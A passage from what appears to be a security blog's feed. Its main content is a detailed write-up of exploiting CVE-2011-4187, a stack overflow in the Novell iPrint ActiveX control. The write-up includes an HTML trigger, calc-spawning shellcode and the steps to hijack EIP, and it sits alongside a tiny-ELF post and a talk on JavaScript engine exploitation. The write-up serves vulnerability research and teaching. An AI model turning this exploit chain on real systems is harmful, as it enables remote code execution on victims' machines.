  ABI Version:                       5
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1
  Start of program headers:          1 (bytes into file)
  Start of section headers:          24 (bytes into file)
  Flags:                             0x0
  Size of this header:               24 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 1 &lt;corrupt: out of range&gt;
readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

There are no sections to group in this file.

There is no dynamic section in this file.
</code></pre>
<p>Same thing for GDB debugger, it doesn&rsquo;t recognize this file and refuses to debug it: <em>not in executable format: file format not recognized</em>.</p>
<p>But all things considered, this program actually runs fine and respects all our conditions:</p>
<pre><code class="language-bash"># Normal run
$ ./smallest_elf.bin
$ echo $?
0

# Checking with strace
$ strace ./smallest_elf.bin
execve(&quot;./smallest_elf.bin&quot;, [&quot;./smallest_elf.bin&quot;], 0x7fffd6fb2730 /* 25 vars */) = 0
exit(0)                                 = ?
+++ exited with 0 +++
</code></pre>
<p>New size: 80 bytes.</p>
<p>Just for the art, let&rsquo;s clean up the executable by setting to zero all bytes that are not needed.</p>
<pre><code>00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj&lt;X.........
00000010: 0200 3e00 0000 0000 0100 0000 0100 0000  ..&gt;.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0000 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................
</code></pre>
<h3 id="is-it-the-end">Is it the end?</h3>
<p>We have probably reached the limits of the ELF 64 bits format, we produced the smallest 64 bits ELF possible that does not crash upon execution and correctly exits with a 0 status code.</p>
<p>Final size: 80 bytes.</p>
<p>Final binary:</p>
<pre><code>7f454c46 6a3c580f 05000000 00000000 02003e00 00000000 01000000
01000000 18000000 00000000 18000000 01000000 00000000 00003800
01000000 00000000 01000000 00000000 00000000 00000000
</code></pre>]]></description>
    </item>
    <item>
      <title>Javascript engine exploitation methodology</title>
      <link>https://sigreturn.com/blog/javascript-engine-exploitation-methodology/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/javascript-engine-exploitation-methodology/</guid>
      <pubDate>Thu, 25 May 2023 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>browser</category>
      <category>javascript</category>
      <category>exploitation</category>
      <category>talk</category>
      <description><![CDATA[<p>JavaScript engines are now one of the most attacked surfaces of modern operating systems. They run untrusted code from arbitrary websites the moment a tab opens, sit on top of multi-million-line JIT compilers (V8, JavaScriptCore, SpiderMonkey), and have access to a sandbox that, once broken out of, often leads straight to remote code execution on the host. The bug classes that dominate browser CVE lists today (typer mistakes in JIT optimisation, type confusion on object shapes, edge cases in property accessors and bounds elimination) all live inside this layer.</p>
<p>The talk below walks through the general methodology of approaching such an engine for offensive research: how to read the relevant parts of a multi-million-line C++ codebase, how to recognise the primitive shapes that lead to <code>addrof</code> / <code>fakeobj</code>, and how those primitives compose into a renderer-RCE chain.</p>
<p>It was given in French at the <strong>Quarks in the Shell 2023</strong> conference, organised by <a href="https://content.quarkslab.com/event-quarks-in-the-shell-2023-ads">Quarkslab</a>.</p>
<p>For the written, generalized version of this material across JavaScriptCore and V8, see <a href="/blog/exploiting-javascript-engines/">Exploiting JavaScript engines: from type confusion to code execution</a>.</p>
<iframe src="https://www.youtube-nocookie.com/embed/VaaXB8mrtL0" title="Javascript engine exploitation methodology: Quarks in the Shell 2023" allow="accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen loading="lazy"></iframe>]]></description>
    </item>
    <item>
      <title>ActiveX controller exploitation</title>
      <link>https://sigreturn.com/blog/vulnerability-research-activex-controller-exploitation/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/vulnerability-research-activex-controller-exploitation/</guid>
      <pubDate>Sat, 28 May 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>cve</category>
      <category>reverse-engineering</category>
      <category>exploitation</category>
      <category>windows</category>
      <category>buffer-overflow</category>
      <category>activex</category>
      <description><![CDATA[<div class="admonition note">
<p class="admonition-title">CVE-2011-4187</p>
<p>Stack buffer overflow in <code>IppGetDriverSettings2</code> (<code>nipplib.dll</code>, Novell iPrint Client &lt; 5.78). Reachable from a web page through the iPrint ActiveX controller (CLSID <code>36723F97-7AA0-11D4-8919-FF2D71D0D32C</code>) on Windows XP. No public exploit at the time of research.</p>
</div>
<h2 id="what-we-start-with">What we start with</h2>
<p>A CVE number and one line on cvedetails:</p>
<blockquote>
<p>Buffer overflow in the <strong>GetDriverSettings</strong> function in <strong>nipplib.dll</strong> in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.</p>
</blockquote>
<p>That is the whole public record. No exploit, no write-up, no advisory detail beyond the sentence above. We know the vulnerable function, we know the parameter that reaches it, and we know it is a buffer overflow. Everything between that sentence and a running shellcode is ours to find.</p>
<p>The client only installs on Windows XP, so the work runs on a Windows XP SP3 virtual machine, with a Windows 10 box alongside for the SDK tooling. IDA for the static work, x64dbg for the dynamic work.</p>
<h2 id="finding-the-controller">Finding the controller</h2>
<p>The iPrint client ships an ActiveX controller, which is what makes this reachable from a web page at all. Searching the registry for <code>Novell iPrint</code> gives its CLSID:</p>
<p><img alt="Registry Editor entry showing the iPrint controller CLSID" src="img/registry_window.png" loading="lazy" decoding="async" width="1440" height="477"></p>
<p>The controller itself is <code>ienipp.ocx</code>, in <code>C:\Windows\system32\</code>, and the heavy lifting is delegated to <code>nipplib.dll</code> sitting next to it. Both are worth listing before opening either:</p>
<p><img alt="The iPrint files installed under system32" src="img/list_ocx_files.png" loading="lazy" decoding="async" width="1440" height="724"></p>
<p>Browsing <code>ienipp.ocx</code> with the OLE/COM Object Viewer from the Windows 10 SDK lists every method the control exposes to a page:</p>
<p><img alt="OLE/COM Object Viewer browsing the methods exposed by ienipp.ocx" src="img/browsing_ocx_file.png" loading="lazy" decoding="async" width="1440" height="1136"></p>
<p><code>GetDriverSettings</code> is there, the name the CVE gives us, along with a <code>GetDriverSettings2</code> variant. Instantiating the control from an HTML page and calling it is four lines:</p>
<pre><code class="language-html">&lt;html&gt;
&lt;object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/&gt;
&lt;/object&gt;
&lt;script&gt;
target.GetDriverSettings(&quot;uri&quot;, &quot;realm&quot;, &quot;user&quot;, &quot;password&quot;);
&lt;/script&gt;
&lt;/html&gt;
</code></pre>
<p>Before spending a day in a disassembler it is worth proving the plumbing works. The control exposes a <code>ShowMessageBox</code> method, which is the cheapest possible test:</p>
<p><img alt="The controller's ShowMessageBox method in the type library" src="img/msgbox_method.png" loading="lazy" decoding="async" width="1440" height="543"></p>
<p><img alt="A message box raised from a local HTML page through the controller" src="img/msgbox_call.png" loading="lazy" decoding="async" width="1440" height="675"></p>
<p>The CLSID is right, the calling convention is right, and a page can drive the control. Now we can go looking for the bug.</p>
<h2 id="reversing-ienippocx">Reversing ienipp.ocx</h2>
<p>Opening <code>ienipp.ocx</code> in IDA prompts for <code>nipplib.dll</code>, which is already a hint: the control is a front end and the real code lives in the library. We hand IDA the DLL from <code>system32</code> and let it resolve.</p>
<p>Searching the imported functions for <code>GetDriverSettings</code> finds the entry point:</p>
<p><img alt="GetDriverSettings among the functions imported from nipplib.dll" src="img/getdriversettings.png" loading="lazy" decoding="async" width="1440" height="542"></p>
<p>Following its cross-references shows it is called from exactly one place:</p>
<p><img alt="The single cross-reference to the vulnerable function" src="img/xref1.png" loading="lazy" decoding="async" width="1440" height="264"></p>
<p>One call site, at <code>ienipp.ocx:0x1000AE54</code>. The block that leads to it is dense, and its strings are discouraging:</p>
<p><img alt="Control flow leading to the vulnerable IppGetDriverSettings2 call site" src="img/cftovuln.png" loading="lazy" decoding="async" width="1048" height="1326"></p>
<p><code>ipp://%s/ipp/IppSrvr</code> sits right there, with <code>%s</code> waiting for the printer URL we control. The obvious reading is that the control talks to a real IPP server on port 631, and that nothing interesting happens until one answers correctly. That reading costs a lot of time, and the whole exploit is in seeing past it.</p>
<div class="admonition note">
<p>This is a write-up, not a full disassembly listing. I will not walk every block I read, only the branches that decide something, and I will sum up the state after each one.</p>
</div>
<p>Two gates stand between a page calling the method and the vulnerable function running.</p>
<p>The first is a length check on each of the four parameters, <code>printerUri</code>, <code>realm</code>, <code>userName</code> and <code>password</code>, applied at the very top of the block:</p>
<p><img alt="Length check applied to each of the four method parameters" src="img/method_param_check.png" loading="lazy" decoding="async" width="1302" height="1306"></p>
<p>Anything past <code>0x200</code> bytes is rejected here, before anything else runs. Keep that ceiling in mind, because it is what makes the rest of the bypass possible.</p>
<p>The second gate is the main block of the series:</p>
<p><img alt="main_checks block: important_check return value gates the vulnerable call" src="img/main_checks.png" loading="lazy" decoding="async" width="1142" height="1442"></p>
<p>The call marked in red decides the next jump. If <code>sub_1000FBD0</code> returns anything other than zero, the vulnerable call is skipped and we jump straight to the end of the function. If it returns zero, and one further length check passes, the vulnerable function is called. That makes <code>sub_1000FBD0</code> the gate that matters, so we rename it <code>important_check</code> and read it.</p>
<p><img alt="The body of important_check" src="img/important_check.png" loading="lazy" decoding="async" width="1054" height="1462"></p>
<p>It is short. It calls <code>IppMgmtGetServerVersion2</code>, exported by <code>nipplib.dll</code>, and returns zero when that function returns zero:</p>
<p><img alt="important_check forwarding to IppMgmtGetServerVersion2" src="img/important_check_2.png" loading="lazy" decoding="async" width="1094" height="1542"></p>
<p>That is everything the <code>.OCX</code> has to tell us. Two conditions reach the bug:</p>
<ul>
<li>the four parameters stay under <code>0x200</code> bytes each,</li>
<li><code>IppMgmtGetServerVersion2</code> returns zero.</li>
</ul>
<p>The second one is where the work is, and it lives in the library.</p>
<h2 id="reversing-nipplibdll">Reversing nipplib.dll</h2>
<p>We open <code>nipplib.dll</code> on its own. <code>IppGetDriverSettings2</code> is the eventual target, but there is no point reversing a function we cannot reach, so <code>IppMgmtGetServerVersion2</code> comes first.</p>
<p><img alt="IppMgmtGetServerVersion2 forwarding to sub_5C04B514" src="img/get_server_version.png" loading="lazy" decoding="async" width="1216" height="1006"></p>
<p>It forwards to <code>sub_5C04B514</code>, which is where the logic is:</p>
<p><img alt="Control flow graph of sub_5C04B514" src="img/sub_5C04B514.png" loading="lazy" decoding="async" width="1440" height="1373"></p>
<p>A lot happens in there, and the IPP requests are somewhere inside it. The first idea that comes to mind is that we need a server to answer them.</p>
<p>Step back and read the graph as a set of conditions rather than as a protocol implementation, forgetting for a moment what the function is supposed to achieve, and a different question presents itself. The function returns <code>-1</code> when it cannot get the server version, and we need zero. So: <strong>which jumps end at a <code>return 0</code> block?</strong></p>
<p>The first one does.</p>
<p><img alt="First conditional jump in sub_5C04B514, branching on IppCreateServerRef" src="img/first_jump.png" loading="lazy" decoding="async" width="1440" height="1120"></p>
<p>One of its two paths lands directly on a block that sets the return value to zero, with no further checks on the way:</p>
<p><img alt="The mov eax, 0 ; ret block reached when IppCreateServerRef fails" src="img/return0bloc.png" loading="lazy" decoding="async" width="440" height="424"></p>
<p>The condition is backwards. If <code>IppCreateServerRef</code> returns <code>NULL</code>, <code>IppMgmtGetServerVersion2</code> returns zero, and zero is the success code. An allocation and setup failure is being reported as a successful version probe. This is a programming logic bug: an error path that was never given its own return value.</p>
<p>The consequence is large. We do not have to satisfy the handshake, we have to break it. No server, no port 631, no negotiation, and no need to reverse the rest of the function at all. The whole checking process has a hole in it, and it is visible in the control flow graph without running anything.</p>
<p>So the question becomes: how do we make <code>IppCreateServerRef</code> fail?</p>
<h3 id="a-word-on-the-dynamic-side">A word on the dynamic side</h3>
<p>Every time I needed to know what a function actually receives, or how the program behaves on a given return value, I ran Internet Explorer under x64dbg on the Windows XP machine, put a breakpoint on the call and read the stack. I will not repeat this for every function, so here is one example, on <code>IppCreateServerRef</code>:</p>
<p><img alt="Breakpoint set on the IppCreateServerRef call" src="img/debug_example_bp.png" loading="lazy" decoding="async" width="1440" height="1156"></p>
<p><img alt="The stack at that breakpoint, showing the URL parameter" src="img/debug_example_2.png" loading="lazy" decoding="async" width="1440" height="410"></p>
<p>The parameters pushed on the stack are the URL we passed in <code>printerUri</code>. So <code>IppCreateServerRef</code> is checking our URL, and with any luck it decides its return value without ever touching the network.</p>
<h3 id="making-ippcreateserverref-fail">Making IppCreateServerRef fail</h3>
<p>Back in IDA, we look for a block that returns failure and work out how to reach it:</p>
<p><img alt="Searching for the failure block inside IppCreateServerRef" src="img/searching_fail_bloc.png" loading="lazy" decoding="async" width="1410" height="1134"></p>
<p>The first jump depends on an allocator result, which we have no influence over. The second one depends on <code>sub_50022960</code>: if that helper returns anything other than zero, <code>IppCreateServerRef</code> takes the failure path, which is exactly what we want.</p>
<p><img alt="sub_50022960 and its first length check" src="img/searching_fail_bloc_2.png" loading="lazy" decoding="async" width="974" height="704"></p>
<p><code>sub_50022960</code> checks the URL twice. The first check is on the total URL length, capped at <code>0x200</code>. That would be an easy way to fail the function, except the <code>.OCX</code> already rejects any parameter past <code>0x200</code> before we ever get here, so this check can never trip.</p>
<p>The second check is more useful, and dynamic debugging is what surfaced it:</p>
<p><img alt="Length check on the URL prefix before &quot;://&quot;" src="img/searching_fail_bloc_3.png" loading="lazy" decoding="async" width="1440" height="647"></p>
<p>It measures the part of the URL that precedes <code>://</code>. Here I passed <code>testingipp</code> as a test case. If that prefix exceeds <code>0x100</code> bytes, the function fails. That is the lever: we need a long prefix, long enough to fail this check, while the URL as a whole stays under the <code>0x200</code> the <code>.OCX</code> allows.</p>
<h3 id="the-chain-end-to-end">The chain, end to end</h3>
<p>Four links, each one following from the last:</p>
<ul>
<li>A URL prefix longer than <code>0x100</code> bytes, in a URL shorter than <code>0x200</code> bytes, makes <code>sub_50022960</code> fail.</li>
<li><code>sub_50022960</code> failing makes <code>IppCreateServerRef</code> return <code>NULL</code>.</li>
<li><code>IppCreateServerRef</code> returning <code>NULL</code> makes <code>IppMgmtGetServerVersion2</code> return zero, which is its success code. This is the logic bug.</li>
<li><code>IppMgmtGetServerVersion2</code> returning zero makes <code>important_check</code> return zero, and <code>IppGetDriverSettings2</code> is called with our arguments.</li>
</ul>
<p>No server anywhere in that chain.</p>
<p>A theory is worth nothing until it runs, so we write a URL with a long prefix:</p>
<p><img alt="A test URL with a long prefix before the scheme separator" src="img/random_url.png" loading="lazy" decoding="async" width="1440" height="306"></p>
<p>Then set a breakpoint on the <code>IppGetDriverSettings2</code> call and load the page:</p>
<p><img alt="The debugger stopped on the call to the vulnerable function" src="img/calling_vulnerable_code.png" loading="lazy" decoding="async" width="1440" height="266"></p>
<p>We reach the call. The bypass works, and it cost one long string. An error status handled carelessly took us straight to a critical function that would otherwise have needed a full IPP server implementation to reach, and possibly could not have been reached at all.</p>
<p>I insist on this because my first attempt was the other one. I built and emulated an IPP server, answering request by request, before noticing the branch above. That work is in the last section of this post; it produced nothing and I dropped it.</p>
<h2 id="the-vulnerable-function">The vulnerable function</h2>
<p><code>IppGetDriverSettings2</code> has one more gate before any interesting code, an <code>strstr</code> on the URL:</p>
<p><img alt="strstr check on iPrint-driver-profile-hiddenPA" src="img/check_before_vuln_code.png" loading="lazy" decoding="async" width="1440" height="591"></p>
<p>If the URL does not contain the literal <code>iPrint-driver-profile-hiddenPA</code>, the function returns. So we put that string in the suffix, after the <code>://</code>, and move on. There is presumably a good reason for it inside the driver profile flow, and I did not look for it.</p>
<p>That is a choice worth stating plainly, because it comes up constantly when reversing something this size. We cannot understand all of a binary this large, so we understand the parts that stand between us and the goal, and we leave the rest. A string check we can satisfy in one line does not need a rationale.</p>
<p>Now the bug itself. We know it is a buffer overflow on <code>realm</code>, and one <code>strcpy</code> among the many in this function takes <code>realm</code> as its source:</p>
<p><img alt="strcpy taking realm as source, with no length check on the destination" src="img/interesting_strcpy.png" loading="lazy" decoding="async" width="500" height="882"></p>
<p>The destination is a fixed-size stack buffer and nothing measures the source. Passing a <code>realm</code> of <code>0x200</code> bytes, the largest the <code>.OCX</code> will pass through, should overflow it well past the saved return address.</p>
<h2 id="exploitation">Exploitation</h2>
<p>Two operational notes before the debugging starts, both of which cost me time.</p>
<p>Once the controller crashes, it keeps crashing on every subsequent call, so the Windows XP machine needs a reboot between attempts. I never established why.</p>
<p>And attaching a debugger requires a running process, so each round starts by loading a harmless payload, <code>AAAA</code> in every field, attaching x64dbg to Internet Explorer, and only then opening the real page.</p>
<h3 id="controlling-eip">Controlling EIP</h3>
<p>First attempt, <code>realm</code> filled with <code>A</code> up to the cap:</p>
<p><img alt="The first crash" src="img/first_crash.png" loading="lazy" decoding="async" width="1440" height="361"></p>
<p>Continuing to the crash and reading the registers:</p>
<p><img alt="Registers at the first crash, EBX = 0x41414141" src="img/inspect_registers.png" loading="lazy" decoding="async" width="1440" height="404"></p>
<p>The overflow happened, but the crash is not the one we want. EIP is intact; EBX holds <code>0x41414141</code> and the fault is inside a <code>strlen</code> that received it as an address. We overwrote a pointer that a later call in the same frame uses, and it died before the function could return.</p>
<p>There are two possibilities in that situation, and they point in opposite directions. Either we wrote too far and should shorten the payload, or we did not write far enough, and the fix is to write more while replacing the bytes that cause the early crash with something valid. That second technique is worth knowing: when a program dies before reaching the saved return address, give it the minimum it needs not to die, usually any mapped address, since whatever it does with it stops mattering the moment we take the execution flow.</p>
<p>Here the choice is made for us. The <code>.OCX</code> caps us at <code>0x200</code> bytes, so growing the payload is not an option and we shorten it instead:</p>
<p><img alt="A shorter realm value" src="img/shorter_string.png" loading="lazy" decoding="async" width="1440" height="366"></p>
<p><img alt="Crash with EIP = 0x41414141 after the ret instruction" src="img/correct_crash.png" loading="lazy" decoding="async" width="1440" height="493"></p>
<p>The overflow now stops exactly on the saved return address, <code>ret</code> loads it, and EIP is ours.</p>
<p><img alt="EIP under control" src="img/eip_control_2.png" loading="lazy" decoding="async" width="1278" height="368"></p>
<p>When the offset is not obvious, removing characters until the crash changes is one way to find it, and a cyclic pattern such as <code>AAAABBBBCCCCDDDD</code> is the faster one.</p>
<p>Windows XP SP3 in this configuration has neither DEP nor ASLR, so from here the remaining work is bookkeeping:</p>
<ul>
<li>get a shellcode that pops <code>calc.exe</code>,</li>
<li>write it into one of the other parameters,</li>
<li>run a payload that does not crash, and read the address that parameter landed at,</li>
<li>without rebooting, so the address stays valid, build the overflow payload with that address in place of <code>0x41414141</code>,</li>
<li>load it.</li>
</ul>
<h3 id="the-shellcode">The shellcode</h3>
<p><code>realm</code> cannot carry both the padding to the saved return address and a shellcode. The other three parameters are pushed on the stack ahead of it and are not put through the same downstream processing, so <code>userName</code> is the natural place to store it.</p>
<p>A pop-calc shellcode for Windows XP SP3 EN, sixteen bytes, originally from shell-storm (<a href="https://web.archive.org/web/20200808131732/http://shell-storm.org/shellcode/files/shellcode-739.php">archived copy</a>, the domain no longer resolves):</p>
<pre><code class="language-asm">&quot;\x31\xC9&quot;             // xor  ecx, ecx
&quot;\x51&quot;                 // push ecx
&quot;\x68\x63\x61\x6C\x63&quot; // push 0x636c6163   ('calc')
&quot;\x54&quot;                 // push esp
&quot;\xB8\xC7\x93\xC2\x77&quot; // mov  eax, 0x77c293c7
&quot;\xFF\xD0&quot;             // call eax
</code></pre>
<p>Splicing raw bytes into an HTML file is what <code>xxd -p -r</code> is for. The page we load first carries the shellcode in <code>userName</code> and a harmless <code>realm</code>, so nothing overflows:</p>
<p><img alt="The payload carrying the shellcode with a harmless realm" src="img/get_address_sc.png" loading="lazy" decoding="async" width="1440" height="307"></p>
<h3 id="finding-its-address">Finding its address</h3>
<p>With a breakpoint on the <code>IppGetDriverSettings2</code> call, the arguments are on the stack and the third one is <code>userName</code>:</p>
<p><img alt="Stack frame at IppGetDriverSettings2, userName address visible" src="img/get_sc_address.png" loading="lazy" decoding="async" width="1440" height="784"></p>
<p><code>0x02843728</code> on this run, and dumping that address shows the shellcode sitting there. The layout is stable enough across calls that the address holds for the next one, as long as the process is not restarted.</p>
<h3 id="jumping-to-it">Jumping to it</h3>
<p>The last payload replaces the <code>0x41414141</code> filler at the saved-return-address offset with <code>0x02843728</code>, little-endian:</p>
<p><img alt="The final payload" src="img/payload.png" loading="lazy" decoding="async" width="926" height="804"></p>
<pre><code>$ xxd -p -r payload &gt; win_payload.html
</code></pre>
<p>Which gives a page whose call looks like this, abbreviated:</p>
<pre><code class="language-html">&lt;script&gt;
target.GetDriverSettings(
  &quot;&lt;0x100+ bytes of filler&gt;://iPrint-driver-profile-hiddenPA&quot;,
  &quot;&lt;padding to the saved return address&gt;\x28\x37\x84\x02&quot;,
  &quot;&lt;calc shellcode bytes&gt;&quot;,
  &quot;A&quot;);
&lt;/script&gt;
</code></pre>
<p>Detach the debugger, load the page in Internet Explorer:</p>
<p><img alt="calc.exe spawned by the iPrint ActiveX controller" src="img/win.png" loading="lazy" decoding="async" width="1440" height="636"></p>
<p>Arbitrary code execution from a single HTML page, with no IPP server anywhere.</p>
<h2 id="paths-that-failed">Paths that failed</h2>
<p>Both of the routes below came before the one above, and neither reached the result. They are worth writing down: the first is the reason the logic bug is interesting, and the second is a dead end with a provable reason for being dead, which is more useful than an inconclusive one.</p>
<h3 id="emulating-an-ipp-server">Emulating an IPP server</h3>
<p>Before noticing that <code>IppCreateServerRef</code> failing is treated as success, the obvious plan was to make <code>IppMgmtGetServerVersion2</code> succeed honestly by answering the requests it makes. I gave a machine a domain name, opened port 631 with <code>nc</code> and waited to see what the client sends:</p>
<pre><code>$ nc -lvp 631
Listening on [0.0.0.0] (family 0, port 631)
Connection from x.x.x.x 35136 received!
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
Accept-Charset: UTF-8,ISO-8859-1
Accept-Language: en-us, en
User-Agent: Novell iPrint Client - v05.74.00
Cache-Control: no-cache
Pragma: no-cache
Host: iprint.local-intranet-do.cf:631
Content-type: application/ipp
Connection: keep-alive
Content-length: 112

@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1
</code></pre>
<p>So the <code>POST</code> to <code>/ipp/IppSrvr</code> has to succeed. Reversing <code>IppMgmtGetServerVersion2</code> further shows three calls that matter:</p>
<p><img alt="The three calls inside IppMgmtGetServerVersion2" src="img/ippserver1.png" loading="lazy" decoding="async" width="1440" height="514"></p>
<p>The first makes the network request. The second, <code>nipplib.5C0450B3</code>, is a large set of tests on the answer. The third runs additional checks and is called when the second fails. Everything depends on the second one, so that is the one I read:</p>
<p><img alt="The version-number check on the server's reply" src="img/check1.png" loading="lazy" decoding="async" width="820" height="878"></p>
<ul>
<li>A version-number is read from the first bytes of the response body. Sending <code>0x100</code> or <code>0x101</code> passes it.</li>
<li>The IPP HTTP header is validated. I set up a CUPS server, captured what it replies to a real client, and reused its header verbatim.</li>
<li>A <code>server-version</code> attribute has to be present in the attribute group. <code>IppFindAttributeInSet</code> walks the attributes received and compares each name against the one requested.</li>
</ul>
<p>Encoding an attribute group correctly means reading the specification, <a href="https://datatracker.ietf.org/doc/html/rfc8010">RFC 8010</a>, which lays out the message format field by field:</p>
<pre><code>   -----------------------------------------------
   |                  version-number             |   2 bytes  - required
   -----------------------------------------------
   |               operation-id (request)        |
   |                      or                     |   2 bytes  - required
   |               status-code (response)        |
   -----------------------------------------------
   |                   request-id                |   4 bytes  - required
   -----------------------------------------------
   |                 attribute-group             |   n bytes  - 0 or more
   -----------------------------------------------
   |              end-of-attributes-tag          |   1 byte   - required
   -----------------------------------------------
   |                     data                    |   q bytes  - optional
   -----------------------------------------------
</code></pre>
<p>My replies got progressively further into the validation, and then every iteration died inside a <code>strlen</code> on a <code>NULL</code> argument, which points at another attribute or data field the client expects and I was not sending. I stopped there, because by that point I had found the branch that makes all of this unnecessary.</p>
<h3 id="overflowing-the-ciphertext-instead-of-the-cleartext">Overflowing the ciphertext instead of the cleartext</h3>
<p>While hunting for the right <code>realm</code> length, an input too short to reach the saved return address directly still managed to corrupt it, through a second buffer.</p>
<p>A function downstream of the <code>strcpy</code> runs <code>realm</code> through an internal block cipher: eight-byte blocks, a large static key in <code>.data</code>, and the result written into a separate stack buffer with <code>sprintf("%02hhX", b)</code>, so the output is twice the length of the input. Short enough to miss the first overflow, long enough to overrun that second buffer, and EIP is controlled again, but through the hex text rather than through our own bytes.</p>
<p>The cipher is small enough to lift into C and run offline once the key is recovered from memory:</p>
<pre><code class="language-c">unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int idx;
    unsigned int s1, s2, s3, s4;

    idx = ((tmp_bloc &gt;&gt; 24) &amp; 0xff) * 4 + 0x048;
    s1  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc &gt;&gt; 16) &amp; 0xff) * 4 + 0x448;
    s2  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc &gt;&gt;  8) &amp; 0xff) * 4 + 0x848;
    s3  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx =  (tmp_bloc        &amp; 0xff) * 4 + 0xc48;
    s4  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    return (((s2 + s1) ^ s3) + s4);
}

/* get_new_key derives (key_part1, key_part2) from the previous key
   through 18 rounds of shift_on_key and xor with the static key blocs. */

int main(int argc, char **argv) {
    char *entry = argv[1];
    int i = 0;
    get_new_key(key, the_key);
    while (entry[i]) {
        for (int b = 0; b &lt; 8; b++) {
            unsigned int kpart = (b &lt; 4) ? key_part1 : key_part2;
            unsigned int sh    = (3 - (b &amp; 3)) * 8;
            if (entry[i]) newbuf[i] = entry[i] ^ ((kpart &gt;&gt; sh) &amp; 0xff);
            i++;
        }
        /* feed the swapped output bloc back as the next old key, re-derive */
        get_new_key(key, the_key);
    }
    /* hex-encode newbuf into realbuf with sprintf(&quot;%02hhX&quot;, ...) */
}
</code></pre>
<p>Searching for an input whose ciphertext ends in the bytes we want gives one ending in <code>\xAA\xAA</code>, which hex-encodes to <code>AAAA</code>, so EIP becomes <code>0x41414141</code>:</p>
<pre><code>$ ./a.out $(python -c 'print &quot;B&quot;*132 + &quot;\x43\x90&quot;')
... 3CCAF8EFDA95CFDA49177C2EAAAA
</code></pre>
<p>EIP control through this path is real, and the path is still dead, for a reason the C reimplementation makes obvious. <code>sprintf("%02hhX", b)</code> emits two ASCII hex digits per byte, so every byte that reaches EIP is one of <code>0x30</code> to <code>0x39</code> or <code>0x41</code> to <code>0x46</code>. No address in any loaded module, and no address on the stack, is spelled entirely in that alphabet. There is no search to run and no cleverness to apply: the encoding removes the addresses we would need before we get to choose one.</p>
<p>Knowing that is worth the detour. A path abandoned because it did not seem to work leaves you wondering; a path abandoned because its output alphabet cannot contain the answer is closed.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The buffer overflow in this CVE is the least interesting part of it. One <code>strcpy</code> with an unmeasured source, on a platform with no DEP and no ASLR, on a parameter a web page hands over directly. Everything that made this exercise worth several days sat in front of the bug rather than in it.</p>
<p>What actually decided the outcome:</p>
<ul>
<li><strong>Error paths are where the gaps are.</strong> <code>IppCreateServerRef</code> returning <code>NULL</code> reports as success, and that single mishandled status is a complete bypass of the server handshake. It is visible in the control flow graph, with no debugger and no server, to anyone willing to read the graph as conditions rather than as a protocol.</li>
<li><strong>Length caps in different binaries can be played against each other.</strong> The <code>0x200</code> ceiling in <code>ienipp.ocx</code> is what leaves room to overshoot the <code>0x100</code> prefix check inside <code>nipplib.dll</code> and fail it on purpose.</li>
<li><strong>Understand only what stands between you and the goal.</strong> The <code>iPrint-driver-profile-hiddenPA</code> string has a reason to exist that I never learned, and it made no difference to the result.</li>
<li><strong>A failed path is worth reproducing far enough to know why it failed.</strong> Rebuilding the <code>realm</code> cipher in C turned an inconclusive dead end into a structural one.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Recovering payloads from PE resources</title>
      <link>https://sigreturn.com/blog/recovering-payloads-from-pe-resources/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/recovering-payloads-from-pe-resources/</guid>
      <pubDate>Fri, 15 Apr 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>malware</category>
      <category>packers</category>
      <category>windows</category>
      <category>pe</category>
      <category>reverse-engineering</category>
      <description><![CDATA[<p>When you pull apart a packed Windows binary, one of the first questions is always the same: where is the real payload, and how is it stored? A common answer is that it never left the file. The packer carried it along the whole time, compressed and tucked away inside the executable&rsquo;s resource section, and only revealed it in memory once the process was running.</p>
<p>This post walks through that technique, resource dropping, from the analyst&rsquo;s seat. To recover a payload that a packer stashed in the <code>.rsrc</code> section, you have to understand exactly how it got there, so we reconstruct the full chain: we hide a small binary inside a carrier, then write the unpacker that finds it, extracts it, and decompresses it back into memory. The recovery side is the point; the packing side is shown so you can recognise and reverse it.</p>
<p>We work with 64-bit PE (PE32+) binaries throughout, and we compile everything on Linux with mingw. The principle is identical for 32-bit (PE32). We will not re-explain what a packer is or detail the PE format here; the Wikipedia page on PE is excellent.</p>
<div class="admonition danger">
<p>The knowledge in this article is for strictly educational and defensive purposes: understanding how packers conceal code so you can analyse and recover it. Do not use these techniques to build or distribute malicious software. That is both unethical and illegal, and we accept no responsibility for misuse.</p>
</div>
<h2 id="prerequisites">Prerequisites</h2>
<p>To follow along and reproduce the work:</p>
<ul>
<li>A relatively recent Linux system.</li>
<li>The usual build tools (<code>gcc</code>, <code>make</code>).</li>
